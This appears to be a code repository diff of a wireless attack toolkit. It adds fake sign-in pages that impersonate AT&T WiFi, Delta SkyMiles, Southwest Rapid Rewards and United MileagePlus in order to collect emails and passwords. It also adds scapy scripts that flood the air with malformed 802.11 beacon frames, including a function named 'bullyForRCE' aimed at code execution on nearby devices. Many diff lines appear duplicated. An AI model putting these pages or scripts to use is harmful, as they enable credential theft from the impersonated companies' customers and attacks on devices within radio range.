<path fill="#000000" d="M925 246c-2 0-4-2-4-5V109h-45c-3 0-5-2-5-5V86c0-3 2-5 5-5h120c2 0 4 2 4 5v18c0 3-2 5-4 5h-45v132c0 3-2 5-5 5h-21m-344-66-24-68-24 68h48zm52 60c1 3-1 6-4 6h-21c-3 0-5-2-6-5l-12-35h-66l-13 35c-1 3-2 5-6 5h-20c-2 0-4-3-3-6l56-155c1-2 2-4 6-4h27c3 0 5 2 6 4l56 155m160-16c13 0 22-7 29-18l-34-35c-12 7-20 14-20 28s11 25 25 25m9-121c-11 0-17 7-17 16 0 7 4 13 12 22 15-8 21-13 21-22s-5-16-16-16m91 137c3 3 1 6-2 6h-26c-4 0-6-1-8-4l-16-17a57 57 0 0 1-49 24c-30 0-54-18-54-49 0-24 13-36 32-47-9-11-13-22-13-32 0-26 17-43 44-43 28 0 45 16 45 40 0 20-15 32-31 41l23 24 13-22c2-3 4-4 7-4h20c3 0 5 2 3 6l-23 39 35 38m-205 6c2 0 4-2 4-5V109h45c3 0 5-2 5-5V86c0-3-2-5-5-5H617c-2 0-4 2-4 5v18c0 3 2 5 4 5h45v132c0 3 2 5 5 5h21z"/>
<path fill="#00A8E0" d="M79 326a205 205 0 0 0 262-8s0-1 0 0c-16 10-63 34-135 34a257 257 0 0 1-127-26m140 10c51 0 107-14 140-41 9-7 18-17 25-31a197 197 0 0 0 12-25c-30 45-120 73-213 73-65 0-135-20-163-60 0-1 0-1 0 0 26 54 103 84 199 84m-55-90C59 246 9 197 0 163c0 12 1 26 3 36 1 4 5 12 10 18 26 26 89 63 199 63 150 0 185-49 192-66a151 151 0 0 0 6-62c-7 40-135 94-246 94M20 75c-6 12-13 32-15 43-1 4 0 6 1 10 13 26 77 69 225 69 91 0 162-22 173-63 2-7 2-15 0-26a200 200 0 0 0-14-35c2 53-147 88-222 88-82 0-150-33-150-74l2-12m321-65 2 4c0 23-70 64-182 64-81 0-97-31-97-50 0-7 3-14 9-21 0-1 0-1 0 0-11 9-21 19-29 30-4 5-7 9-7 12 0 40 100 69 194 69 100 0 144-33 144-61 0-10-4-16-14-28L342 9l-1 1m-30-23a203 203 0 0 0-212 1C90-7 84-2 84 4c0 17 41 36 113 36 71 0 126-21 126-40 0-5-4-8-12-13"/>
</svg>
</div>
<h1>Sign in</h1>
<h2>Use your AT&T Account to gain Access to the WiFi Network</h2>
<form action="/get">
<input type="text" name="email" placeholder="Email or Phone Number" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
+115
View File
@@ -0,0 +1,115 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #003D79;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118">
<path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/>
<path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/>
<path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/>
<path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your SkyMiles number or username and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
+1
View File
@@ -0,0 +1 @@
<HTML>HTMLINDEXFILE</HTML>
+110
View File
@@ -0,0 +1,110 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background: #f9f9f9;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}
.container {
background: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px #999;
max-width: 400px;
}
.logo {
text-align: center;
}
svg {
width: 80%;
}
h1 {
font-size: 1.5rem;
text-align: center;
margin: 20px 0;
}
.subtext {
text-align: center;
margin-bottom: 20px;
font-size: 0.9rem;
}
.form-group {
margin-bottom: 15px;
display: flex;
justify-content: center;
}
.form-control {
width: 100%;
padding: 10px;
border-radius: 5px;
border: 1px solid #ddd;
font-size: 1rem;
}
button {
width: 100%;
padding: 10px;
border: none;
border-radius: 5px;
background: #143f85;
color: #fff;
font-size: 1.1rem;
cursor: pointer;
}
@media (max-width: 500px) {
.container {
max-width: 90%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34">
<path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/>
<path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/>
</svg>
</div>
<h1>Sign In</h1>
<p class="subtext">Sign in using your Rapid Rewards number or username and password</p>
<form action="/get" method="GET">
<div class="form-group">
<input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required>
</div>
<div class="form-group">
<input type="password" name="password" class="form-control" placeholder="Password" required>
</div>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
+117
View File
@@ -0,0 +1,117 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: 'Arial', sans-serif;
margin: 0;
padding: 0;
background-color: #f3f3f3;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
max-width: 500px;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff;
border-radius: 8px;
}
.logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.logo svg {
width: 50%;
}
.title, .sub-title {
text-align: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 20px;
display: flex;
justify-content: center;
}
.input-field {
width: 100%;
max-width: 400px;
height: 40px;
padding: 10px;
border-radius: 5px;
border: 1px solid #ccc;
font-size: 16px;
}
.button {
width: 100%;
max-width: 400px;
height: 40px;
background-color: #003D79;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
@media screen and (max-width: 600px) {
.container {
margin: 10px;
}
.logo svg {
width: 70%;
}
.input-field, .button {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82">
<switch transform="translate(-5 -6)">
<g>
<path fill="none" d="M0 0h490v95H0z"/>
<path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/>
</g>
</switch>
</svg>
</div>
<h1 class="title">Sign in</h1>
<h2 class="sub-title">Using your MileagePlus® number and password.</h2>
<form action="/get" id="email-form-step" method="GET">
<div class="form-group">
<input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required>
</div>
<div class="form-group">
<input class="input-field" name="password" type="password" placeholder="Password" required>
</div>
<div class="form-group">
<button class="button" type="submit">Sign In</button>
</div>
</form>
</div>
</body>
</html>
Regular → Executable
View File
Regular → Executable
View File
Regular → Executable
+112 -112
View File
@@ -1,113 +1,113 @@
from scapy.all import * from scapy.all import *
import urllib.parse import urllib.parse
#from random import randbytes #from random import randbytes
import random import random
iface = 'wlan1' iface = 'wlan1'
sender = 'ac:cb:12:ad:58:27' sender = 'ac:cb:12:ad:58:27'
def sendProbe(SSID, repeat=3, interval=0.100): def sendProbe(SSID, repeat=3, interval=0.100):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
addr2=sender, addr3=sender) addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID)) essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255): def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
addr2=sender, addr3=sender) addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen) essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100): def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100):
for i in range(numOfBeacons): for i in range(numOfBeacons):
SSID = randbytes(lenOfSSIDs) SSID = randbytes(lenOfSSIDs)
urlEncoded = urllib.parse.quote(SSID) urlEncoded = urllib.parse.quote(SSID)
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n") print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
sendProbe(SSID, repeat, interval) sendProbe(SSID, repeat, interval)
def sendProbeFuzz(repeat=1, interval=0.150): def sendProbeFuzz(repeat=1, interval=0.150):
randMAC = '6e:07:9e:96:2b:4e' randMAC = '6e:07:9e:96:2b:4e'
# randMAC = RandMAC() # randMAC = RandMAC()
randLen = RandNum(0, 255) randLen = RandNum(0, 255)
randSSIDLen = random.randint(0,255) randSSIDLen = random.randint(0,255)
randSSIDBytes = random.randbytes(randSSIDLen) randSSIDBytes = random.randbytes(randSSIDLen)
urlEncoded = urllib.parse.quote(randSSIDBytes) urlEncoded = urllib.parse.quote(randSSIDBytes)
dot11 = Dot11(type=0, dot11 = Dot11(type=0,
subtype=8, subtype=8,
addr1='ff:ff:ff:ff:ff:ff', # dst set to broadcast addr1='ff:ff:ff:ff:ff:ff', # dst set to broadcast
addr2=randMAC, # random source addr2=randMAC, # random source
addr3=randMAC) # random bssid addr3=randMAC) # random bssid
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID', essid = Dot11Elt(ID='SSID',
info=RawVal(randSSIDBytes), info=RawVal(randSSIDBytes),
len=RawVal(randLen)) len=RawVal(randLen))
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
print(f"src={randMAC}, dst=ff:ff:ff:ff:ff:ff, BSSID={randMAC}\n\tSSID Set Length: {randLen}\n\tActual SSID Length: {randSSIDLen}\n\tSSID: {urlEncoded}") print(f"src={randMAC}, dst=ff:ff:ff:ff:ff:ff, BSSID={randMAC}\n\tSSID Set Length: {randLen}\n\tActual SSID Length: {randSSIDLen}\n\tSSID: {urlEncoded}")
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
def sendFuzzBeacons(numOfBeacons=200, def sendFuzzBeacons(numOfBeacons=200,
repeat=1, repeat=1,
interval=0.150): interval=0.150):
for i in range(numOfBeacons): for i in range(numOfBeacons):
print(f"\n{i} of {numOfBeacons}") print(f"\n{i} of {numOfBeacons}")
sendProbeFuzz() sendProbeFuzz()
def sendRandBytesBeaconsRaw( def sendRandBytesBeaconsRaw(
numOfBeacons=200, numOfBeacons=200,
lenOfSSIDs=256, lenOfSSIDs=256,
listedLen=255, listedLen=255,
repeat=1, repeat=1,
interval=0.2): interval=0.2):
for i in range(numOfBeacons): for i in range(numOfBeacons):
SSID = random.randbytes(lenOfSSIDs) SSID = random.randbytes(lenOfSSIDs)
urlEncoded = urllib.parse.quote(SSID) urlEncoded = urllib.parse.quote(SSID)
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}") print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
sendProbeRaw(SSID, repeat, interval, listedLen) sendProbeRaw(SSID, repeat, interval, listedLen)
#sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15) #sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15)
#sendRandBytesBeacons(100, 20, 5, 0.1) #sendRandBytesBeacons(100, 20, 5, 0.1)
def fullFuzz( def fullFuzz(
numOfBeacons=200, numOfBeacons=200,
repeat=3, repeat=3,
interval=0.150): interval=0.150):
for i in range(numOfBeacons): for i in range(numOfBeacons):
realLenSSID = random.randint(0,255) realLenSSID = random.randint(0,255)
SSID = random.randbytes(realLenSSID) SSID = random.randbytes(realLenSSID)
urlEncoded = urllib.parse.quote(SSID) urlEncoded = urllib.parse.quote(SSID)
fakeLenSSID = random.randint(0,255) fakeLenSSID = random.randint(0,255)
senderMAC = RandMAC() senderMAC = RandMAC()
dot11 = Dot11(type=0, subtype=8, dot11 = Dot11(type=0, subtype=8,
addr1='ff:ff:ff:ff:ff:ff', addr1='ff:ff:ff:ff:ff:ff',
addr2=senderMAC, addr2=senderMAC,
addr3=senderMAC) addr3=senderMAC)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID', essid = Dot11Elt(ID='SSID',
info=SSID, info=SSID,
len=fakeLenSSID) len=fakeLenSSID)
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n") print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n")
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
fullFuzz() fullFuzz()
Regular → Executable
+130 -130
View File
@@ -1,130 +1,130 @@
from scapy.all import * from scapy.all import *
import urllib.parse import urllib.parse
from random import randbytes from random import randbytes
iface = 'wlan1' iface = 'wlan1'
sender = 'ac:cb:12:ad:58:27' sender = 'ac:cb:12:ad:58:27'
def sendProbe(SSID, def sendProbe(SSID,
repeat=3, repeat=3,
interval=0.100): interval=0.100):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
addr2=sender, addr3=sender) addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID)) essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
def sendProbeRaw(SSID='F', def sendProbeRaw(SSID='F',
repeat=3, repeat=3,
interval=0.150, interval=0.150,
listedLen=512, listedLen=512,
lenOverride=True): lenOverride=True):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
if lenOverride: if lenOverride:
essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen)) essid = Dot11Elt(ID='SSID',info="F", len=RawVal(listedLen))
else: else:
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen) essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
def sendRandBytesBeacons(numOfBeacons=200, def sendRandBytesBeacons(numOfBeacons=200,
lenOfSSIDs=20, lenOfSSIDs=20,
repeat=3, repeat=3,
interval=0.100): interval=0.100):
for i in range(numOfBeacons): for i in range(numOfBeacons):
SSID = randbytes(lenOfSSIDs) SSID = randbytes(lenOfSSIDs)
urlEncoded = urllib.parse.quote(SSID) urlEncoded = urllib.parse.quote(SSID)
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n") print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
sendProbe(SSID, repeat, interval) sendProbe(SSID, repeat, interval)
def sendRandBytesBeaconsRaw( def sendRandBytesBeaconsRaw(
SSID='I-am-your-pony-waifu', SSID='I-am-your-pony-waifu',
numOfBeacons=200, numOfBeacons=200,
lenOfSSIDs=255, lenOfSSIDs=255,
listedLen=255, listedLen=255,
lenOverridei=False, lenOverridei=False,
repeat=1, repeat=1,
interval=0.2): interval=0.2):
for i in range(numOfBeacons): for i in range(numOfBeacons):
#SSID = randbytes(lenOfSSIDs) #SSID = randbytes(lenOfSSIDs)
urlEncoded = urllib.parse.quote(SSID) urlEncoded = urllib.parse.quote(SSID)
print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}") print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei) sendProbeRaw(SSID, repeat, interval, listedLen, lenOverride=lenOverridei)
def overloadParamBeacon(max=10000, def overloadParamBeacon(max=10000,
repeat=3, repeat=3,
chari = "X", chari = "X",
interval=0.2, interval=0.2,
listedLen=1): listedLen=1):
for i in range(max): for i in range(max):
num = i+1000 num = i+1000
SSIDI = chari*num SSIDI = chari*num
SSID = f"{num}{SSIDI}" SSID = f"{num}{SSIDI}"
dot11 = Dot11(type=0, dot11 = Dot11(type=0,
subtype=8, subtype=8,
addr1='ff:ff:ff:ff:ff:ff', addr1='ff:ff:ff:ff:ff:ff',
addr2=sender, addr2=sender,
addr3=sender) addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID', essid = Dot11Elt(ID='SSID',
info=RawVal(SSID), info=RawVal(SSID),
len=listedLen) len=listedLen)
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
print(f"\nSending {num}{chari}*{num} as SSID With Length Of {listedLen}") print(f"\nSending {num}{chari}*{num} as SSID With Length Of {listedLen}")
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
#overloadParamBeacon() #overloadParamBeacon()
#$sendRandBytesBeaconsRaw( #$sendRandBytesBeaconsRaw(
# SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU", # SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU",
# numOfBeacons=200, # numOfBeacons=200,
# lenOfSSIDs=2, # lenOfSSIDs=2,
# listedLen=1, # listedLen=1,
# lenOverridei=True, # lenOverridei=True,
# repeat=3, # repeat=3,
# interval=0.1) # interval=0.1)
def bullyForRCE(max=10000, def bullyForRCE(max=10000,
repeat=3, repeat=3,
chari = "\xff", chari = "\xff",
interval=0.2, interval=0.2,
listedLen=255): listedLen=255):
for i in range(max): for i in range(max):
chars = chari*i chars = chari*i
#SSID = f"n-{i}-YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU{chars}\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU" #SSID = f"n-{i}-YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU{chars}\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU"
SSID = f"n{chars}" SSID = f"n{chars}"
urlEncoded = urllib.parse.quote(SSID) urlEncoded = urllib.parse.quote(SSID)
dot11 = Dot11(type=0, dot11 = Dot11(type=0,
subtype=8, subtype=8,
addr1='ff:ff:ff:ff:ff:ff', addr1='ff:ff:ff:ff:ff:ff',
addr2=sender, addr2=sender,
addr3=sender) addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID', essid = Dot11Elt(ID='SSID',
info=RawVal(SSID), info=RawVal(SSID),
len=listedLen) len=listedLen)
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}") print(f"\nSending {i}/{max}\n\tWith SSID {urlEncoded}\n\tWith Length Of {listedLen}")
sendp(frame, iface=iface, inter=interval, count=repeat) sendp(frame, iface=iface, inter=interval, count=repeat)
sendProbeRaw(repeat=300) sendProbeRaw(repeat=300)
#bullyForRCE() #bullyForRCE()
#sendRandBytesBeacons(100, 20, 5, 0.1) #sendRandBytesBeacons(100, 20, 5, 0.1)
Regular → Executable
+30 -30
View File
@@ -1,30 +1,30 @@
from scapy.all import * from scapy.all import *
# https://yasoob.me/2018/09/08/sending-sniffing-wlan-beacon-frames-using-scapy/ # https://yasoob.me/2018/09/08/sending-sniffing-wlan-beacon-frames-using-scapy/
iface = 'wlan1' iface = 'wlan1'
sender = 'c2:13:37:c2:13:37' sender = 'c2:13:37:c2:13:37'
def beacon_raw(SSID, length=255): def beacon_raw(SSID, length=255):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length) essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=0.250, loop=1) sendp(frame, iface=iface, inter=0.250, loop=1)
# sendp(frame, iface=iface, inter=0.100, count=256) # sendp(frame, iface=iface, inter=0.100, count=256)
def beacon_normie(SSID): def beacon_normie(SSID):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
